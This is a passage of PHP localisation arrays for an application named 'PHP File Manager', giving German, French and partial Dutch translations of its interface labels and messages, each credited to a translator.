'Enter'; $de2['Send'] = 'Senden'; $de2['Refresh'] = 'Aktualisieren'; $de2['SaveConfig'] = 'Konfiguration speichern'; $de2['SavePass'] = 'Passwort speichern'; $de2['SaveFile'] = 'Datei speichern'; $de2['Save'] = 'Speichern'; $de2['Leave'] = 'Verlassen'; $de2['Edit'] = 'Bearb.'; $de2['View'] = 'Anzeigen'; $de2['Config'] = 'Konfigurieren'; $de2['Ren'] = 'Umb.'; $de2['Rem'] = 'Löschen'; $de2['Compress'] = 'Komprimieren'; $de2['Decompress'] = 'De-Komprimieren'; $de2['ResolveIDs'] = 'IDs auflösen'; $de2['Move'] = 'Versch.'; $de2['Copy'] = 'Kopie'; $de2['ServerInfo'] = 'Server Info'; $de2['CreateDir'] = 'Verzeichnis erstellen'; $de2['CreateArq'] = 'Datei erstellen'; $de2['ExecCmd'] = 'Befehl ausführen'; $de2['Upload'] = 'Upload'; $de2['UploadEnd'] = 'Upload abgeschlossen'; $de2['Perm'] = 'Rechte'; $de2['Perms'] = 'Rechte'; $de2['Owner'] = 'Besitzer'; $de2['Group'] = 'Gruppe'; $de2['Other'] = 'Andere'; $de2['Size'] = 'Größe'; $de2['Date'] = 'Datum'; $de2['Type'] = 'Typ'; $de2['Free'] = 'frei'; $de2['Shell'] = 'Shell'; $de2['Read'] = 'Read'; $de2['Write'] = 'Write'; $de2['Exec'] = 'Execute'; $de2['Apply'] = 'Anwenden'; $de2['StickyBit'] = 'Sticky Bit'; $de2['Pass'] = 'Passwort'; $de2['Lang'] = 'Sprache'; $de2['File'] = 'Datei'; $de2['File_s'] = 'Datei(en)'; $de2['Dir_s'] = 'Verzeichnis(se)'; $de2['To'] = 'an'; $de2['Destination'] = 'Ziel'; $de2['Configurations'] = 'Konfigurationen'; $de2['JSError'] = 'JavaScript Fehler'; $de2['NoSel'] = 'Keine Einträge ausgewählt'; $de2['SelDir'] = 'Wählen Sie das Zeilverzeichnis im Verzeichnis links'; $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein'; $de2['TypeArq'] = 'Geben Sie den Dateinamen ein'; $de2['TypeCmd'] = 'Geben Sie den Befehl ein'; $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.\\nDie Datei-Extension legt den Kopressionstyp fest.\\nBeispiel:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $de2['RemSel'] = 'Ausgewählte Dateien LÖSCHEN'; $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben'; $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch'; $de2['InvalidDest'] = 'Zielverzeichnis ungültig'; $de2['NoNewPerm'] = 'Unzureichende Rechte'; $de2['CopyTo'] = 'KOPIEREN nach'; $de2['MoveTo'] = 'VERSCHIEBEN nach'; $de2['AlterPermTo'] = 'RECHTE ÄNDERN in'; $de2['ConfExec'] = 'Bestätigung AUSFÜHREN'; $de2['ConfRem'] = 'Bestätigung LÖSCHEN'; $de2['EmptyDir'] = 'Leeres Verzeichnis'; $de2['IOError'] = 'Ein-/Ausgabe-Fehler'; $de2['FileMan'] = 'PHP File Manager'; $de2['TypePass'] = 'Bitte geben Sie das Passwort ein'; $de2['InvPass'] = 'Ungültiges Passwort'; $de2['ReadDenied'] = 'Leasezugriff verweigert'; $de2['FileNotFound'] = 'Datei nicht gefunden'; $de2['AutoClose'] = 'Schliessen nach Beenden'; $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT'; $de2['NoCmd'] = 'Fehler: Befehl nicht informed'; $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.\\nTrotzdem versuchen zu speichern'; $de2['ConfSaved'] = 'Konfigurationen gespeichert'; $de2['PassSaved'] = 'Passwort gespeichert'; $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits'; $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet'; $de2['NoReturn'] = 'keine Rückgabe'; $de2['FileSent'] = 'Datei versandt'; $de2['SpaceLimReached'] = 'Plattenplatz erschöpft'; $de2['InvExt'] = 'Ungültige datei-Extension'; $de2['FileNoOverw'] = 'Datei kann nicht überschrieben werden'; $de2['FileOverw'] = 'Datei überschrieben'; $de2['FileIgnored'] = 'Datei ignoriert'; $de2['ChkVer'] = 'Überprüfe neuer Version'; $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken für Download!!'; $de2['ChkVerNotAvailable'] = 'Keine neue Version verfügbar. :('; $de2['ChkVerError'] = 'Verbindungsfehler.'; $de2['Website'] = 'Webseite'; $de2['SendingForm'] = 'Sende Dateien, bitte warten'; $de2['NoFileSel'] = 'Keine Dateien ausgewählt'; $de2['SelAll'] = 'Alle'; $de2['SelNone'] = 'Keine'; $de2['SelInverse'] = 'Invers'; $de2['Selected_s'] = 'ausgewählt'; $de2['Total'] = 'Total'; $de2['Partition'] = 'Partition'; $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite'; $de2['Seconds'] = 'Sekunden'; $de2['ErrorReport'] = 'Fehler berichten'; // German - by Mathias Rothe $de3['Version'] = 'Version'; $de3['DocRoot'] = 'Dokumenten Root'; $de3['FLRoot'] = 'Datei Manager Root'; $de3['Name'] = 'Name'; $de3['And'] = 'und'; $de3['Enter'] = 'Enter'; $de3['Send'] = 'Senden'; $de3['Refresh'] = 'Refresh'; $de3['SaveConfig'] = 'Konfiguration speichern'; $de3['SavePass'] = 'Passwort speichern'; $de3['SaveFile'] = 'Datei speichern'; $de3['Save'] = 'Speichern'; $de3['Leave'] = 'Abbrechen'; $de3['Edit'] = 'Bearbeiten'; $de3['View'] = 'Anzeigen'; $de3['Config'] = 'Konfiguration'; $de3['Ren'] = 'Umbenennen'; $de3['Rem'] = 'Entfernen'; $de3['Compress'] = 'Packen'; $de3['Decompress'] = 'Entpacken'; $de3['ResolveIDs'] = 'IDs aufloesen'; $de3['Move'] = 'Verschieben'; $de3['Copy'] = 'Kopie'; $de3['ServerInfo'] = 'Server Info'; $de3['CreateDir'] = 'Neuer Ordner'; $de3['CreateArq'] = 'Neue Datei'; $de3['ExecCmd'] = 'Befehl ausfuehren'; $de3['Upload'] = 'Upload'; $de3['UploadEnd'] = 'Upload beendet'; $de3['Perm'] = 'Rechte'; $de3['Perms'] = 'Rechte'; $de3['Owner'] = 'Eigent'; $de3['Group'] = 'Gruppe'; $de3['Other'] = 'Andere'; $de3['Size'] = 'Groesse'; $de3['Date'] = 'Datum'; $de3['Type'] = 'Typ'; $de3['Free'] = 'frei'; $de3['Shell'] = 'Shell'; $de3['Read'] = 'Lesen'; $de3['Write'] = 'Schreiben'; $de3['Exec'] = 'Ausfuehren'; $de3['Apply'] = 'Bestaetigen'; $de3['StickyBit'] = 'Sticky Bit'; $de3['Pass'] = 'Passwort'; $de3['Lang'] = 'Sprache'; $de3['File'] = 'Datei'; $de3['File_s'] = 'Datei(en)'; $de3['Dir_s'] = 'Ordner'; $de3['To'] = 'nach'; $de3['Destination'] = 'Ziel'; $de3['Configurations'] = 'Konfiguration'; $de3['JSError'] = 'JavaScript Error'; $de3['NoSel'] = 'Keine Objekte ausgewaehlt'; $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus'; $de3['TypeDir'] = 'Verzeichnisname eingeben'; $de3['TypeArq'] = 'Dateiname eingeben'; $de3['TypeCmd'] = 'Befehl eingeben'; $de3['TypeArqComp'] = 'Dateinamen eingeben.\\nDie Erweiterung definiert den Archiv-Typ.\\nEx:\\nname.zip\\nname.tar\\nname.bzip\\nname.gzip'; $de3['RemSel'] = 'Entferne ausgewaehlte Objekte'; $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt'; $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich'; $de3['InvalidDest'] = 'Zielverzeichnis ungueltig'; $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt'; $de3['CopyTo'] = 'Kopiere nach'; $de3['MoveTo'] = 'Verschiebe nach'; $de3['AlterPermTo'] = 'Aendere Rechte zu'; $de3['ConfExec'] = 'Ausfuehren bestaetigen'; $de3['ConfRem'] = 'Entfernen bestaetigen'; $de3['EmptyDir'] = 'Leerer Ordner'; $de3['IOError'] = 'I/O Fehler'; $de3['FileMan'] = 'PHP Datei Manager'; $de3['TypePass'] = 'Bitte Passwort eingeben'; $de3['InvPass'] = 'Falsches Passwort'; $de3['ReadDenied'] = 'Kein Lesezugriff'; $de3['FileNotFound'] = 'Datei nicht gefunden'; $de3['AutoClose'] = 'Beenden bei Fertigstellung'; $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT'; $de3['NoCmd'] = 'Fehler: unbekannter Befehl'; $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.\\nVersuche dennoch zu speichern'; $de3['ConfSaved'] = 'Konfiguration gespeichert'; $de3['PassSaved'] = 'Passwort gespeichert'; $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits'; $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt'; $de3['NoReturn'] = 'kein zurueck'; $de3['FileSent'] = 'Datei gesendet'; $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht'; $de3['InvExt'] = 'Ungueltige Erweiterung'; $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden'; $de3['FileOverw'] = 'Datei ueberschrieben'; $de3['FileIgnored'] = 'Datei ignoriert'; $de3['ChkVer'] = 'Puefe eine neuere Version'; $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!'; $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :('; $de3['ChkVerError'] = 'Verbindungsfehler.'; $de3['Website'] = 'Website'; $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten'; $de3['NoFileSel'] = 'Keine Datei ausgewaehlt'; $de3['SelAll'] = 'Alle'; $de3['SelNone'] = 'Keine'; $de3['SelInverse'] = 'Invertiere'; $de3['Selected_s'] = 'ausgewaehlt'; $de3['Total'] = 'gesamt'; $de3['Partition'] = 'Partition'; $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite'; $de3['Seconds'] = 'sec'; $de3['ErrorReport'] = 'Fehlermeldungen'; // French - by Jean Bilwes $fr1['Version'] = 'Version'; $fr1['DocRoot'] = 'Racine des documents'; $fr1['FLRoot'] = 'Racine du gestionnaire de fichers'; $fr1['Name'] = 'Nom'; $fr1['And'] = 'et'; $fr1['Enter'] = 'Enter'; $fr1['Send'] = 'Envoyer'; $fr1['Refresh'] = 'Rafraichir'; $fr1['SaveConfig'] = 'Enregistrer la Configuration'; $fr1['SavePass'] = 'Enregistrer le mot de passe'; $fr1['SaveFile'] = 'Enregistrer le fichier'; $fr1['Save'] = 'Enregistrer'; $fr1['Leave'] = 'Quitter'; $fr1['Edit'] = 'Modifier'; $fr1['View'] = 'Voir'; $fr1['Config'] = 'Config'; $fr1['Ren'] = 'Renommer'; $fr1['Rem'] = 'Detruire'; $fr1['Compress'] = 'Compresser'; $fr1['Decompress'] = 'Decompresser'; $fr1['ResolveIDs'] = 'Resoudre les IDs'; $fr1['Move'] = 'Déplacer'; $fr1['Copy'] = 'Copier'; $fr1['ServerInfo'] = 'info du sreveur'; $fr1['CreateDir'] = 'Créer un répertoire'; $fr1['CreateArq'] = 'Créer un fichier'; $fr1['ExecCmd'] = 'Executer une Commande'; $fr1['Upload'] = 'Téléversement(upload)'; $fr1['UploadEnd'] = 'Téléversement Fini'; $fr1['Perm'] = 'Perm'; $fr1['Perms'] = 'Permissions'; $fr1['Owner'] = 'Propriétaire'; $fr1['Group'] = 'Groupe'; $fr1['Other'] = 'Autre'; $fr1['Size'] = 'Taille'; $fr1['Date'] = 'Date'; $fr1['Type'] = 'Type'; $fr1['Free'] = 'libre'; $fr1['Shell'] = 'Shell'; $fr1['Read'] = 'Lecture'; $fr1['Write'] = 'Ecriture'; $fr1['Exec'] = 'Executer'; $fr1['Apply'] = 'Appliquer'; $fr1['StickyBit'] = 'Sticky Bit'; $fr1['Pass'] = 'Mot de passe'; $fr1['Lang'] = 'Langage'; $fr1['File'] = 'Fichier'; $fr1['File_s'] = 'fichier(s)'; $fr1['Dir_s'] = 'répertoire(s)'; $fr1['To'] = 'à'; $fr1['Destination'] = 'Destination'; $fr1['Configurations'] = 'Configurations'; $fr1['JSError'] = 'Erreur JavaScript'; $fr1['NoSel'] = 'Rien n\'est sélectionné'; $fr1['SelDir'] = 'Selectionnez le répertoire de destination dans le panneau gauche'; $fr1['TypeDir'] = 'Entrer le nom du répertoire'; $fr1['TypeArq'] = 'Entrer le nom du fichier'; $fr1['TypeCmd'] = 'Entrer la commande'; $fr1['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $fr1['RemSel'] = 'EFFACER les objets sélectionnés'; $fr1['NoDestDir'] = 'Aucun répertoire de destination n\'est sélectionné'; $fr1['DestEqOrig'] = 'Les répertoires source et destination sont identiques'; $fr1['InvalidDest'] = 'Le répertoire de destination est invalide'; $fr1['NoNewPerm'] = 'Nouvelle permission non établie'; $fr1['CopyTo'] = 'COPIER vers'; $fr1['MoveTo'] = 'DEPLACER vers'; $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS'; $fr1['ConfExec'] = 'Confirmer l\'EXECUTION'; $fr1['ConfRem'] = 'Confirmer la DESTRUCTION'; $fr1['EmptyDir'] = 'Répertoire vide'; $fr1['IOError'] = 'I/O Error'; $fr1['FileMan'] = 'PHP File Manager'; $fr1['TypePass'] = 'Entrer le mot de passe'; $fr1['InvPass'] = 'Mot de passe invalide'; $fr1['ReadDenied'] = 'Droit de lecture refusé'; $fr1['FileNotFound'] = 'Fichier introuvable'; $fr1['AutoClose'] = 'Fermer sur fin'; $fr1['OutDocRoot'] = 'Fichier au delà de DOCUMENT_ROOT'; $fr1['NoCmd'] = 'Erreur: Commande non renseignée'; $fr1['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nJ\'essaie de l\'enregister'; $fr1['ConfSaved'] = 'Configurations enreristrée'; $fr1['PassSaved'] = 'Mot de passe enreristré'; $fr1['FileDirExists'] = 'Le fichier ou le répertoire existe déjà'; $fr1['NoPhpinfo'] = 'Function phpinfo désactivée'; $fr1['NoReturn'] = 'pas de retour'; $fr1['FileSent'] = 'Fichier envoyé'; $fr1['SpaceLimReached'] = 'Espace maxi atteint'; $fr1['InvExt'] = 'Extension invalide'; $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre écrasé'; $fr1['FileOverw'] = 'Fichier écrasé'; $fr1['FileIgnored'] = 'Fichier ignoré'; $fr1['ChkVer'] = 'Verifier nouvelle version'; $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la téléchager!!'; $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :('; $fr1['ChkVerError'] = 'Erreur de connection.'; $fr1['Website'] = 'siteweb'; $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter'; $fr1['NoFileSel'] = 'Aucun fichier sélectionné'; $fr1['SelAll'] = 'Tous'; $fr1['SelNone'] = 'Aucun'; $fr1['SelInverse'] = 'Inverser'; $fr1['Selected_s'] = 'selectioné'; $fr1['Total'] = 'total'; $fr1['Partition'] = 'Partition'; $fr1['RenderTime'] = 'Temps pour afficher cette page'; $fr1['Seconds'] = 'sec'; $fr1['ErrorReport'] = 'Rapport d\'erreur'; // French - by Sharky $fr2['Version'] = 'Version'; $fr2['DocRoot'] = 'Racine document'; $fr2['FLRoot'] = 'Gestion des fichiers racine'; $fr2['Name'] = 'Nom'; $fr2['And'] = 'et'; $fr2['Enter'] = 'Entrer'; $fr2['Send'] = 'Envoi'; $fr2['Refresh'] = 'Rafraîchir'; $fr2['SaveConfig'] = 'Sauver configurations'; $fr2['SavePass'] = 'Sauver mot de passe'; $fr2['SaveFile'] = 'Sauver fichier'; $fr2['Save'] = 'Sauver'; $fr2['Leave'] = 'Permission'; $fr2['Edit'] = 'Éditer'; $fr2['View'] = 'Afficher'; $fr2['Config'] = 'config'; $fr2['Ren'] = 'Renommer'; $fr2['Rem'] = 'Effacer'; $fr2['Compress'] = 'Compresser'; $fr2['Decompress'] = 'Décompresser'; $fr2['ResolveIDs'] = 'Résoudre ID'; $fr2['Move'] = 'Déplacer'; $fr2['Copy'] = 'Copier'; $fr2['ServerInfo'] = 'Information Serveur'; $fr2['CreateDir'] = 'Créer un répertoire'; $fr2['CreateArq'] = 'Créer un fichier'; $fr2['ExecCmd'] = 'Executé une commande'; $fr2['Upload'] = 'Transférer'; $fr2['UploadEnd'] = 'Transfert terminé'; $fr2['Perm'] = 'Perm'; $fr2['Perms'] = 'Permissions'; $fr2['Owner'] = 'Propriétaire'; $fr2['Group'] = 'Groupe'; $fr2['Other'] = 'Autre'; $fr2['Size'] = 'Taille'; $fr2['Date'] = 'date'; $fr2['Type'] = 'Type'; $fr2['Free'] = 'Libre'; $fr2['Shell'] = 'Shell'; $fr2['Read'] = 'lecture'; $fr2['Write'] = 'écriture'; $fr2['Exec'] = 'Execute'; $fr2['Apply'] = 'Appliquer'; $fr2['StickyBit'] = 'Bit figer'; $fr2['Pass'] = 'mot de passe'; $fr2['Lang'] = 'Language'; $fr2['File'] = 'Fichier'; $fr2['File_s'] = 'fichier(s)'; $fr2['Dir_s'] = 'répertoire(s)'; $fr2['To'] = 'à'; $fr2['Destination'] = 'Destination'; $fr2['Configurations'] = 'Configurations'; $fr2['JSError'] = 'Erreur JavaScript'; $fr2['NoSel'] = 'Il n\'y a pas d\'objets sélectionnés'; $fr2['SelDir'] = 'Sélectionnez le répertoire de destination sur l\'arborescence de gauche'; $fr2['TypeDir'] = 'Entrez le nom du répertoire'; $fr2['TypeArq'] = 'Entrez le nom du fichier'; $fr2['TypeCmd'] = 'Entrez la commande'; $fr2['TypeArqComp'] = 'Entrez le fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip'; $fr2['RemSel'] = 'EFFACEZ l\'objet sélectionné'; $fr2['NoDestDir'] = 'Il n\'y a aucun répertoire de destination sélectionné'; $fr2['DestEqOrig'] = 'Origine et répertoires de destination sont identique'; $fr2['InvalidDest'] = 'Répertoire de destination est invalide'; $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas été configuré'; $fr2['CopyTo'] = 'COPIE dans'; $fr2['MoveTo'] = 'DÉPLACER dans'; $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans'; $fr2['ConfExec'] = 'Confirmer EXECUTE'; $fr2['ConfRem'] = 'Confirmer EFFACER'; $fr2['EmptyDir'] = 'Répertoire vide'; $fr2['IOError'] = 'I/O Erreur'; $fr2['FileMan'] = 'Gestion de fichiers PHP'; $fr2['TypePass'] = 'Entrer le mot de passe'; $fr2['InvPass'] = 'Mot de passe invalide'; $fr2['ReadDenied'] = 'Accès en lecture refuser'; $fr2['FileNotFound'] = 'Fichier non-trouvé'; $fr2['AutoClose'] = 'Fermez a la fin'; $fr2['OutDocRoot'] = 'Fichier au-delà DOCUMENT_ROOT'; $fr2['NoCmd'] = 'Erreur: Commande inconnue'; $fr2['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nEssayez de sauver'; $fr2['ConfSaved'] = 'Configurations sauvée'; $fr2['PassSaved'] = 'Mot de passe sauvé'; $fr2['FileDirExists'] = 'Fichier ou répertoire déjà existant'; $fr2['NoPhpinfo'] = 'Function phpinfo désactivé'; $fr2['NoReturn'] = 'sans retour possible'; $fr2['FileSent'] = 'Fichier envoyé'; $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint'; $fr2['InvExt'] = 'Extension invalide'; $fr2['FileNoOverw'] = 'Fichier ne peut pas être écrasé'; $fr2['FileOverw'] = 'Fichier écrasé'; $fr2['FileIgnored'] = 'Fichier ignoré'; $fr2['ChkVer'] = 'Check nouvelle version'; $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le téléchargement!!'; $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :('; $fr2['ChkVerError'] = 'Erreur de connection.'; $fr2['Website'] = 'Site Web'; $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plaît patientez'; $fr2['NoFileSel'] = 'Aucun fichier sélectionné'; $fr2['SelAll'] = 'Tout'; $fr2['SelNone'] = 'Aucuns'; $fr2['SelInverse'] = 'Inverser'; $fr2['Selected_s'] = 'sélectionné'; $fr2['Total'] = 'total'; $fr2['Partition'] = 'Partition'; $fr2['RenderTime'] = 'Temps pour afficher la page'; $fr2['Seconds'] = 'sec'; $fr2['ErrorReport'] = 'Liste des erreurs'; // French - by Michel Lainey $fr3['Version'] = 'Version'; $fr3['DocRoot'] = 'Racine Document'; $fr3['FLRoot'] = 'Racine File Manager'; $fr3['Name'] = 'Nom'; $fr3['And'] = 'et'; $fr3['Enter'] = 'Valider'; $fr3['Send'] = 'Envoyer'; $fr3['Refresh'] = 'Raffraichir'; $fr3['SaveConfig'] = 'Sauvegarder Config'; $fr3['SavePass'] = 'Sauvegarder Password'; $fr3['SaveFile'] = 'Sauvegarder Fichier'; $fr3['Save'] = 'Sauvegarder'; $fr3['Leave'] = 'Quitter'; $fr3['Edit'] = 'Editer'; $fr3['View'] = 'Visualiser'; $fr3['Config'] = 'Config'; $fr3['Ren'] = 'Renommer'; $fr3['Rem'] = 'Supprimer'; $fr3['Compress'] = 'Compresser'; $fr3['Decompress'] = 'Décompresser'; $fr3['ResolveIDs'] = 'Resoudre IDs'; $fr3['Move'] = 'Déplacer'; $fr3['Copy'] = 'Copier'; $fr3['ServerInfo'] = 'Server Info'; $fr3['CreateDir'] = 'Créer Répertoire'; $fr3['CreateArq'] = 'Créer Fichier'; $fr3['ExecCmd'] = 'Executer Commande'; $fr3['Upload'] = 'Upload'; $fr3['UploadEnd'] = 'Upload Fini'; $fr3['Perm'] = 'Perm'; $fr3['Perms'] = 'Permissions'; $fr3['Owner'] = 'Propriétaire'; $fr3['Group'] = 'Groupe'; $fr3['Other'] = 'Autres'; $fr3['Size'] = 'Taille'; $fr3['Date'] = 'Date'; $fr3['Type'] = 'Type'; $fr3['Free'] = 'libre'; $fr3['Shell'] = 'Shell'; $fr3['Read'] = 'Lecture'; $fr3['Write'] = 'Ecriture'; $fr3['Exec'] = 'Execute'; $fr3['Apply'] = 'Application'; $fr3['StickyBit'] = 'Sticky Bit'; $fr3['Pass'] = 'Password'; $fr3['Lang'] = 'Language'; $fr3['File'] = 'Fichier'; $fr3['File_s'] = 'fichier(s)'; $fr3['Dir_s'] = 'répertoire(s)'; $fr3['To'] = 'à'; $fr3['Destination'] = 'Destination'; $fr3['Configurations'] = 'Configurations'; $fr3['JSError'] = 'Erreur JavaScript'; $fr3['NoSel'] = 'Aucun élément sélectionné'; $fr3['SelDir'] = "Sélectionner le répertoire de destination dans l'arboresence de gauchethe destination directory on the left tree"; $fr3['TypeDir'] = 'Indiquer le nom du répertoire'; $fr3['TypeArq'] = 'Indiquer le nom du fichier'; $fr3['TypeCmd'] = 'Entrer une commande'; $fr3['TypeArqComp'] = "Indiquer le nom du fichier.\\nL'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip"; $fr3['RemSel'] = "SUPPRIMER l'élément sélectionné"; $fr3['NoDestDir'] = "Il n'y a pas de répertoire destination sélectionné"; $fr3['DestEqOrig'] = 'Répertoire Origine et Destination sont identiques'; $fr3['InvalidDest'] = 'Le répertoire de destination est invalide'; $fr3['NoNewPerm'] = 'Nouvelle permission non appliquée'; $fr3['CopyTo'] = 'COPIER vers'; $fr3['MoveTo'] = 'DEPLACER vers'; $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers'; $fr3['ConfExec'] = 'Confirmer EXECUTION'; $fr3['ConfRem'] = 'Confirmer SUPPRESSION'; $fr3['EmptyDir'] = 'Répertoire vide'; $fr3['IOError'] = 'Erreur entrée/sortie'; $fr3['FileMan'] = 'PHP File Manager'; $fr3['TypePass'] = 'Saisir le mot de passe'; $fr3['InvPass'] = 'Mot de passe invalide'; $fr3['ReadDenied'] = 'Accès en lecture refusé'; $fr3['FileNotFound'] = 'Fichier non trouvé'; $fr3['AutoClose'] = 'Fermeture en fin de traitement'; $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT'; $fr3['NoCmd'] = 'Erreur : Commande non renseignée'; $fr3['ConfTrySave'] = "Fichier sans permission d'écriture.\\nTenter de sauver malgré tout"; $fr3['ConfSaved'] = 'Configurations sauvegardée'; $fr3['PassSaved'] = 'Password sauvegardé'; $fr3['FileDirExists'] = 'Fichier ou répertoire déjà existant'; $fr3['NoPhpinfo'] = 'Fonction phpinfo disactivée'; $fr3['NoReturn'] = 'pas de retour'; $fr3['FileSent'] = 'Fichier envoyé'; $fr3['SpaceLimReached'] = 'Capacité maximale atteinte'; $fr3['InvExt'] = 'Extension invalide'; $fr3['FileNoOverw'] = 'Fichier ne pouvant être remplacé'; $fr3['FileOverw'] = 'Fichier remplacé'; $fr3['FileIgnored'] = 'Fichier ignoré'; $fr3['ChkVer'] = 'Vérifier nouvelle version'; $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le téléchargement !'; $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :('; $fr3['ChkVerError'] = 'Erreur de connection.'; $fr3['Website'] = 'Site Web'; $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter"; $fr3['NoFileSel'] = 'Pas de fichier sélectionné'; $fr3['SelAll'] = 'Tous'; $fr3['SelNone'] = 'Aucun'; $fr3['SelInverse'] = 'Inverser'; $fr3['Selected_s'] = 'sélectionné'; $fr3['Total'] = 'total'; $fr3['Partition'] = 'Partition'; $fr3['RenderTime'] = 'Temps nécessaire pour obtenir cette page'; $fr3['Seconds'] = 'sec'; $fr3['ErrorReport'] = 'Erreur de compte rendu'; // Dutch - by Leon Buijs $nl['Version'] = 'Versie'; $nl['DocRoot'] = 'Document Root'; $nl['FLRoot'] = 'File Manager Root'; $nl['Name'] = 'Naam'; $nl['And'] = 'en'; $nl['Enter'] = 'Enter'; $nl['Send'] = 'Verzend'; $nl['Refresh'] = 'Vernieuw'; $nl['SaveConfig'] = 'Configuratie opslaan'; $nl['SavePass'] = 'Wachtwoord opslaan'; $nl['SaveFile'] = 'Bestand opslaan'; $nl['Save'] = 'Opslaan'; $nl['Leave'] = 'Verlaten'; $nl['Edit'] = 'Wijzigen'; $nl['View'] = 'Toon'; $nl['Config'] = 'Configuratie'; $nl['Ren'] = 'Naam wijzigen'; $nl['Rem'] = 'Verwijderen'; $nl['Compress'] = 'Comprimeren'; $nl['Decompress'] = 'Decomprimeren'; $nl['ResolveIDs'] = 'Resolve IDs'; $nl['Move'] = 'Verplaats'; $nl['Copy'] = 'Kopieer'; $nl['ServerInfo'] = 'Serverinformatie'; $nl['CreateDir'] = 'Nieuwe map'; $nl['CreateArq'] = 'Nieuw bestand'; $nl['ExecCmd'] = 'Commando uitvoeren'; $nl['Upload'] = 'Upload'; $nl['UploadEnd'] = 'Upload voltooid'; $nl['Perm'] = 'Rechten'; $nl['Perms'] = 'Rechten'; $nl['Owner'] = 'Eigenaar'; $nl['Group'] = 'Groep'; $nl['Other'] = 'Anderen'; $nl['Size'] = 'Grootte'; $nl['Date'] = 'Datum'; $nl['Type'] = 'Type'; $nl['Free'] = 'free'; $nl['Shell'] = 'Shell'; $nl['Read'] = 'Lezen'; $nl['Write'] = 'Schrijven'; $nl['Exec'] = 'Uitvoeren'; $nl['Apply'] = 'Toepassen'; $nl['StickyBit'] = 'Sticky Bit'; $nl['Pass'] = 'Wachtwoord'; $nl['Lang'] = 'Taal'; $nl['File'] = 'Bestand'; $nl['File_s'] = 'bestand(en)'; $nl['Dir_s'] = 'map(pen)'; $nl['To'] = 'naar'; $nl['Destination'] = 'Bestemming'; $nl['Configurations'] = 'Instellingen'; $nl['JSError'] = 'Javascriptfout'; $nl['NoSel'] = 'Er zijn geen bestanden geselecteerd'; $nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant'; $nl['TypeDir'] = 'Voer de mapnaam in'; $nl['TypeArq'] = 'Voer de bestandsnaam in'; $nl['TypeCmd'] = 'Voer het commando in'; $nl['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $nl['RemSel'] = 'VERWIJDER geselecteerde itens'; $nl['NoDestDir'] = 'Er is geen doelmap geselecteerd'; $nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde'; $nl['InvalidDest'] = 'Doelmap is ongeldig'; $nl['NoNewPerm'] = 'Nieuwe rechten niet geset'; $nl['CopyTo'] = 'KOPIEER naar'; $nl['MoveTo'] = 'VERPLAATS naar'; $nl['AlterPermTo'] = 'VERANDER RECHTEN in'; $nl['ConfExec'] = 'Bevestig UITVOEREN'; $nl['ConfRem'] = 'Bevestig VERWIJDEREN'; $nl['EmptyDir'] = 'Lege map'; $nl['IOError'] = 'I/O Error'; $nl['FileMan'] = 'PHP File Manager'; $nl['TypePass'] = 'Voer het wachtwoord in'; $nl['InvPass'] = 'Ongeldig wachtwoord'; $nl['ReadDenied'] = 'Leestoegang ontzegd'; $nl['FileNotFound'] = 'Bestand niet gevonden'; $nl['AutoClose'] = 'Sluit na voltooien'; $nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT'; $nl['NoCmd'] = 'Error: Command not informed'; $nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier'; $nl['ConfSaved'] = 'Instellingen opgeslagen'; 